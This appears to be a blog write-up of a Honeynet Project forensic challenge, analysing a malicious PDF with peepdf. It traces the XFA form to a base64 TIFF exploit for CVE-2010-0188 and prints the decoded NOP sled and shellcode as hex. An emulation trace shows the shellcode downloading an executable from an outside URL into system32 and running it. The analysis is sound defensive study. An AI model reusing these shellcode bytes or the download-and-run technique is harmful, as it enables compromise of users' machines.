Analysing the Honeynet Project challenge PDF file with peepdf (II)

After the "useless" analysis of the fake objects now we can focus on the objects which will be parsed by the PDF reader:

/Catalog (27)
dictionary (28)
dictionary (22)
dictionary (23)
dictionary (22)
/Annot (24)
dictionary (23)
/Page (25)
/Pages (26)
/Page (25)
stream (21)
/Pages (26)

If we take a look at the Catalog object...

PPDF> object 27

<< /AcroForm 28 0 R
/MarkInfo << /Marked true >>
/Pages 26 0 R
/Type /Catalog
/Lang en-us
/PageMode /UseAttachments >>

There is no presence of any triggers here (/OpenAction) or in the rest of the objects (/AA) so it seems that the /AcroForm element has something to say. Also, the suspicious object 21 (/EmbeddedFile) is related with this interactive form:

PPDF> references to 21

[28]

PPDF> object 28

<< /DA /Helv 0 Tf 0 g
/Fields [ 22 0 R ]
/XFA [ template 21 0 R ] >>

In the dictionary of the form we can see that object 21 is a template and that there is a reference to a field object (object 22). So we continue analysing the field objects:

PPDF> object 22

<< /V
/T topmostSubform[0]
/Kids [ 23 0 R ] >>

PPDF> object 23

<< /Parent 22 0 R
/Kids [ 24 0 R ]
/T Page1[0] >>

PPDF> object 24

<< /Parent 23 0 R
/T ImageField1[0]
/Ff 65536
/MK << /TP 1
/IF << /A [ 0.0 1.0 ] >> >>
/F 4
/Rect [ 107.385 705.147 188.385 709.087 ]
/Type /Annot
/FT /Btn
/DA /CourierStd 10 Tf 0 g
/Subtype /Widget
/TU ImageField1
/P 25 0 R >>

We arrive to the last field element, called ImageField1, which has a suspicious value for its /Ff element, 65536...Now it's time to take a look at the content of this field in the template (object 21):

...
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">SUkqADggAACQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk
JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
...

Mmm...we have a TIFF image, CVE-2010-0188? The content is encoded with base64 so we put it in a variable and we decode it:

PPDF> set sh "SUkqADggAACQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ..."
PPDF> set output variable raw_sh
PPDF> decode variable sh b64

49 49 2a 00 38 20 00 00 90 90 90 90 90 90 90 90 |II*.8 ..........|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
...
90 90 90 90 90 90 90 90 90 90 90 90 90 31 c9 dd |.............1..|
c5 b8 53 2c 18 36 d9 74 24 f4 5f b1 66 31 47 18 |..S,.6.t$._.f1G.|
83 c7 04 03 47 14 e2 a6 c7 08 6c 02 2b e0 f6 2b |....G.....l.+..+|
77 f3 76 7f 82 6a 94 85 79 89 b1 92 81 6d be 14 |w.v.j..y....m..|
32 0b d8 4d 09 d6 e3 c4 17 b0 8d 04 f1 56 bf c1 |2..M.........V..|
84 6d d2 c8 16 9f 93 f8 f2 05 01 11 85 a7 bc 83 |.m..............|
98 c0 78 c9 ff 1c ac 60 55 54 9d b4 62 87 87 d2 |..x....`UT..b...|
11 ba ac 11 42 7a 58 ea 80 ea 5d d2 41 53 c3 06 |....BzX...].AS..|
0e 1b 3b 70 36 c9 ef 6e 66 53 95 d4 d0 d4 30 b0 |..;p6..nfS....0.|
4a 74 ba 52 1a 67 9b d7 86 d2 7b af 2d 78 23 5d |Jt.R.g....{.-x#]|
cb e7 8e 73 88 05 41 69 11 bd 8f c4 5e 5c 6f a7 |...s..Ai....^\o.|
69 c6 e9 de 70 a6 9d 2b 4b 3e 50 ce 97 ad 2d e3 |i...p..+K>P...-.|
80 12 dc a7 28 0b 86 bd 15 a6 76 1e b0 11 91 4c |....(.....v....L|
a0 44 0d 95 e0 6d 24 1c fc d4 35 e7 cb b1 77 62 |.D...m$...5...wb|
92 a0 12 49 d2 6c de 0f fe 09 82 4e fc b7 24 3a |...I.l.....N..$:|
a4 0e 9f f0 98 58 46 ca 42 49 c2 1b 46 0b 02 f2 |.....XF.BI..F...|
9e b2 54 69 8b 62 5c 6d 92 78 fe 45 ef 4e 35 33 |..Ti.b\m.x.E.N53|
bb 93 0a 89 40 63 21 b4 ec fa 8a 20 77 9b 2a 50 |....@c!.... w.*P|
9a aa 38 5e 9f f5 42 63 8b fa 57 71 d5 dd 54 68 |..8^..Bc..Wq..Th|
2c 01 4e 9f 4d 36 52 af 45 4b 97 a2 6c 5f 88 e4 |,.N.M6R.EK..l_..|
08 6e b9 e3 f7 8e c6 f1 91 8d d6 f5 4f e0 e8 1e |.n..........O...|
73 03 f7 79 59 02 f0 84 b7 1b fa 9d c0 37 1d b9 |s..yY........7..|
a8 24 35 cc 3f 42 3d b7 0c 60 17 1a 7a 99 6f 51 |.$5.?B=..`..z.oQ|
75 9e 6d 54 8c 80 7e 93 8d e7 e6 33 1a 6c 69 f9 |u.mT..~....3.li.|
cd a3 eb 91 7e db c5 01 ee 4d 7f a8 9e f4 0b 64 |....~....M....d|
30 85 94 56 a3 10 74 c0 54 91 ef 62 d8 3c 93 25 |0..V..t.T..b.<.%|
7d d7 32 b5 ed 42 db 22 8b a3 57 c4 36 e3 e5 71 |}.2..B."..W.6..q|
d8 77 55 14 7b e4 1e 87 09 91 ce 22 96 3c 8f 90   |.wU.{......".<..|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|

PPDF> reset output

Now we have the raw content in a variable and we are going to emulate the execution with the sctest wrapper:

PPDF> sctest variable raw_sh

verbose = 0
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(32)
stepcount 9172
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x0041767d =>
           = "GetSystemDirectoryA";
) = 0x7c814eea;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 =>
         none;
     LPCSTR lpProcName = 0x00417691 =>
           = "WinExec";
) = 0x7c86136d;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 =>
         none;
     LPCSTR lpProcName = 0x00417699 =>
           = "ExitThread";
) = 0x7c80c058;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 =>
         none;
     LPCSTR lpProcName = 0x004176a4 =>
           = "LoadLibraryA";
) = 0x7c801d77;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x004176b1 =>
           = "urlmon";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7df20000 =>
         none;
     LPCSTR lpProcName = 0x004176b8 =>
           = "URLDownloadToFileA";
) = 0x7df7b0bb;
UINT GetSystemDirectory (
     LPTSTR lpBuffer = 0x0012fe7c =>
         none;
     UINT uSize = 32;
) =  19;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x004176cb =>
           = "http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe";
     LPCTSTR szFileName = 0x0012fe7c =>
           = "c:\WINDOWS\system32\a.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe7c =>
           = "c:\WINDOWS\system32\a.exe";
     UINT uCmdShow = 0;
) =  32;
void ExitThread (
     DWORD dwExitCode = 32;
) =  0;

Done! Finally we have the trigger and the executed payload of the malicious PDF file! This shellcode also tries to download a binary and execute it, but this time the URL is the real one :)

 

Analysing the Honeynet Project challenge PDF file with peepdf (I)

hey, hope you enjoyed the

hey, hope you enjoyed the challenge. :). it was designed to be fun.btw, it's interesting enough to see many submitter got confused with /Root. :).

Yeah!

Yeah! I really enjoyed it, it was interesting to see that behaviour :) Good work! ;)